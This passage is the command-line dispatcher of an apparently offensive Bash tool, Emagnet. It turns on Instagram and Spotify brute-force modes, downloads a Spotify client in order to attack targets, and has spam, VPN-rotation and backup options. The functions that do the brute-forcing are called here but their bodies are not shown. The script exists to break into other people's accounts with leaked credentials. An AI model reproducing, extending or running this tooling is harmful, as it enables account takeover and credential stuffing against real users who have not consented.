1009 emagnet_conf
1010 if [[ "$IBRUTEFORCE" = "true" ]]; then
1011 emagnet_run4ever
1012 emagnet_instagrambruter
1013 mv $EMAGNETTEMP/* $EMAGNETHOME/all-files &> /dev/null
1014 fi
1015 elif [[ "$2" = "spotify" ]]; then
1016 emagnet_conf
1017 find /usr/include -type d |grep 'libspotify' &> /dev/null
1018 if [[ "$?" -ne "0" ]]; then
1019 if [[ -z "$LIBSPOTIFY" ]]; then
1020 printf "Libspotify is deprecated but is required for emagnet bruteforcing\nto work, do you have libspotify installed? (YES/no): "
1021 read LIBSPOTIFY
1022 if ! [[ "$LIBSPOTIFY" = "YES" ]]; then
1023 echo "Can't continue until libspotify has been installed.."
1024 echo "Exiting.."
1025 exit 1
1026 fi
1027 sed -i '230d' "$CONF"
1028 sed -i '230 i LIBSPOTIFY=true' "$CONF"
1029 fi
1030 else
1031 sed -i '230d' "$CONF"
1032 sed -i '230 i LIBSPOTIFY=true' "$CONF"
1033 fi
1034 # 2ADD! - Check so unzip is installed - Mostly users have it installed so no rush!
1035 ./sconsify -version &> /dev/null
1036 if [[ "$?" -ne "0" ]]; then
1037 echo "Sconsify is required to be installed before we attacking targets.."
1038 read -p "Download and install sconsify (y/N): " installsconsify
1039 if [[ "$installsconsify" -eq "y" ]]; then
1040 echo -e "Hold on, downloading sconsify.."
1041 wget -q --user-agent="${USERAGENT}" "https://github.com/fabiofalci/sconsify/releases/download/next-20180428/linux-x86_64-sconsify-0.6.0-next.zip"
1042 echo -e "Unzipping sconsify into current dir.."
1043 unzip -q -o "linux-x86_64-sconsify-0.6.0-next.zip"
1044 chmod +x ./sconsify
1045 echo -e "Cleaning up."
1046 rm "linux-x86_64-sconsify-0.6.0-next.zip"
1047 echo "All done.."
1048 sleep 2
1049 else
1050 echo -e "$basename$0: internal error -- sconsify is required to be installed.."
1051 exit 1
1052 fi
1053 fi
1054 sed -i 's/PBRUTEFORCE=false/PBRUTEFORCE=true/g' "$CONF"
1055 emagnet_conf
1056
1057 if [[ "$PBRUTEFORCE" = "true" ]]; then
1058 emagnet_clear
1059 emagnet_banner
1060 printf "%18s \e[0;32mSPOTIFY\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n"
1061 printf "\n%64s \n\n" | tr ' ' '='
1062 emagnet_run4ever
1063 printf "\n%64s \n\n" | tr ' ' '='
1064 emagnet_spotify_bruter
1065 fi
1066 mv "$EMAGNETTEMP/*" "$EMAGNETHOME/all-files" &> /dev/null
1067 else
1068 printf "%s\n" "$basename$0: internal error -- not a valid option, try gmail, spotify or ssh"
1069 exit 1
1070 fi
1071 ;;
1072
1073 "-k"|"-kill"|"--kill")
1074 emagnet_kill
1075 ;;
1076
1077 "-i"|"--ip"|"-ip"|"ip")
1078 emagnet_requirements
1079 emagnet_iconnection
1080 echo -e "iPV4: $(curl -s https://nr1.nu/i/)"
1081 ;;
1082
1083 "-h"|"--help"|"-help"|"help")
1084 emagnet_usage
1085 ;;
1086
1087 "-l"|"-license"|"--license")
1088 emagnet_requirements
1089 emagnet_iconnection
1090 emagnet_license
1091 ;;
1092
1093 "-m"|"-merge"|"--merge")
1094 emagnet_conf
1095 emagnet_merge
1096 ;;
1097
1098 "-M"|"-move"|"--move")
1099 emagnet_conf
1100 emagnet_move_files
1101 ;;
1102
1103 "-s"|"-spam"|"--spam")
1104 emagnet_requirements
1105 emagnet_iconnection
1106 emagnet_first_run
1107 emagnet_conf
1108 emagnet_spammer
1109 ;;
1110
1111 "-x"|"-syntax"|"--syntax")
1112 emagnet_requirements
1113 emagnet_conf
1114 emagnet_iconnection
1115 SYNTAX2DL="${2}"
1116 emagnet_syntax
1117 ;;
1118
1119 "-q"|"-quiet"|"--quiet")
1120 emagnet_quiet
1121 ;;
1122
1123 "version"|"-version"|"--version"|"-V")
1124 VERSION="$(cat $CONF|grep "^VERSION"|cut -d= -f2)"
1125 printf "Emagnet Version: $VERSION\n"
1126 ;;
1127
1128 "-t"|"-time"|"--time")
1129 emagnet_conf
1130 if [[ -z "$2" ]]; then echo "emagnet: internal error -- time require a number to be used";exit 1;fi
1131 re='^[0-9]+$';if ! [[ $2 =~ $re ]]; then echo -e "emagnet: internal error -- that's not a valid number" >&2;exit 1; fi
1132 sed -i '30d' "$CONF";sed -i "30 i TIME=$2" "$CONF"
1133 printf "%s\n" "$basename$0: config file has been updated -- time has been set to: $2 seconds"
1134 exit 1
1135 ;;
1136
1137 "-n"|"-notify"|"--notify")
1138 emagnet_conf
1139 if [[ "$?" -gt "0" ]]; then echo -e "$basename$0: internal error -- notify-send is required to be installed";exit 1; fi # Is notify-send installed?
1140 if [[ "$2" != "true" && "$2" != "false" || -z "$2" ]]; then echo -e "$basename$0: internal error -- you must use true or false";exit 1;fi # Is you using a value?
1141 # Is notification exported on the right display? Let us ask the user! ;-)
1142 # If it set to truee instead of true, then we dont asking again!
1143 # and using the the earlier way to set notifications to enable
1144 if ! [[ "$NOTIFY" -eq "truee" ]]; then
1145 notify-send "Emagnet" '\n[00] - This is a test\n[00] - If you see this\n[00] - Press Any Key'
1146 echo -e "\rIf you see the notification, hit any key.\c"
1147 read -t 5 notifyworks
1148 if [[ ! -z "$yepitworks" ]] ; then
1149 echo -e "\nOk, seems not, you probably must export your display then.."
1150 exit 1
1151 else
1152 echo -e "\n$basename$0: config file has been udpated -- notifications has been enable"
1153 sed -i '150d' "$CONF";sed -i "150 i NOTIFY=truee" "$CONF";printf "$basename$0: config file has been updated -- notifications has been enable\n"
1154 exit 1
1155 fi
1156 fi
1157 # Since user already has answered if notifications works once, we set notify to truee instead of true so we know
1158 if [[ $2 = "true" ]]; then sed -i '150d' "$CONF";sed -i "150 i NOTIFY=truee" "$CONF";printf "$basename$0: config file has been updated -- notifications has been enable\n"; fi
1159 if [[ $2 = "false" ]]; then sed -i '150d' "$CONF";sed -i "150 i NOTIFY=false" "$CONF";printf "$basename$0: config file has been updated -- notifications has been disable\n";fi
1160 ;;
1161
1162 "-v"|"-vpn"|"--vpn")
1163 if [[ $1 -eq "-v" && $2 = "-p" && -n $3 ]]; then
1164 sed -i '164d' $CONF; sed -i "164 i VPNPROVIDER=\$VPNROOT/$3" $CONF
1165 printf "$basename$0: config file has been updated -- vpn provider has been set to $3\n "
1166 exit 1
1167 fi
1168 emagnet_conf
1169 if [[ $VPNPROVIDER = "$VPNROOT/" && $VPNPROVIDER2 = "$VPNROOT/" && $VPNPROVIDER3 = "$VPNROOT/" ]]; then echo -e "$basename$0: internal error -- you must set a vpn provider before you can enable vpn";exit 1;fi
1170 if [[ -z "$2" ]]; then echo -e "$basename$0: internal error -- you must include true or false";exit 1;fi
1171 if [[ "$2" = "true" ]] || [[ $2 = "on" ]] || [[ $2 = "enable" ]]; then sed -i '150d' "$CONF";sed -i "150i VPN=true" "$CONF";echo -e "emagnet: config file has been updated -- vpn has been enabled";exit 1
1172 elif [[ $2 = "false" ]] || [[ $2 = "off" ]] || [[ $2 = "disable" ]]; then sed -i '150d' "$CONF";sed -i "150i VPN=false" "$CONF";echo -e "emagnet: config file has been updated -- vpn has been disabled";exit 1
1173 else echo -e "emagnet: internal error -- $2 is an unknown option -- valid options is true or false"; exit 1; fi
1174 ;;
1175
1176 "-b"|"-backup"|"--backup")
1177 emagnet_conf
1178 [[ -d "$EMAGNETBACKUP" ]] && mkdir -p "$EMAGNETBACKUP"
1179 pigz -h &> /dev/null;[[ "$?" -ne "0" ]] && TAR=" tar cf - . " || TAR="tar -cf - --absolute-names "$EMAGNET"| pigz -0 -p "$THREADS" --fast "
1180 if [[ "$2" = "all" || "$2" = "archive" || "$2" = "incoming" ]]; then
1181 [[ "$2" = "all" ]] && printf "%s" "Creating a tar archive of $EMAGNET" || printf '%s' "Creating a tar archive of $EMAGNET/${2}"
1182 $TAR > "$EMAGNETBACKUP/emagnet-${2}-$(date +%d%m%Y).tar.gz";printf "..Done..\nBackup: $EMAGNETBACKUP/emagnet-${2}-$(date +%d%m%Y).tar.gz\n"
1183 else
1184 echo -e "$basename$0: internal error -- you must choose one of: incoming, archive or all";exit 1
1185 fi
1186 ;;
1187 "\?")
1188 printf "emagnet: internal error -- use --help for available commands'\n\n"
1189 exit 1 ;;
1190 "*")
1191 printf "emagnet: internal error -- use --help for available commands'\n\n"
1192 exit 1 ;;
1193esac
1194
1195( [[ -z $1 ]] && emagnet_usage; exit 1 )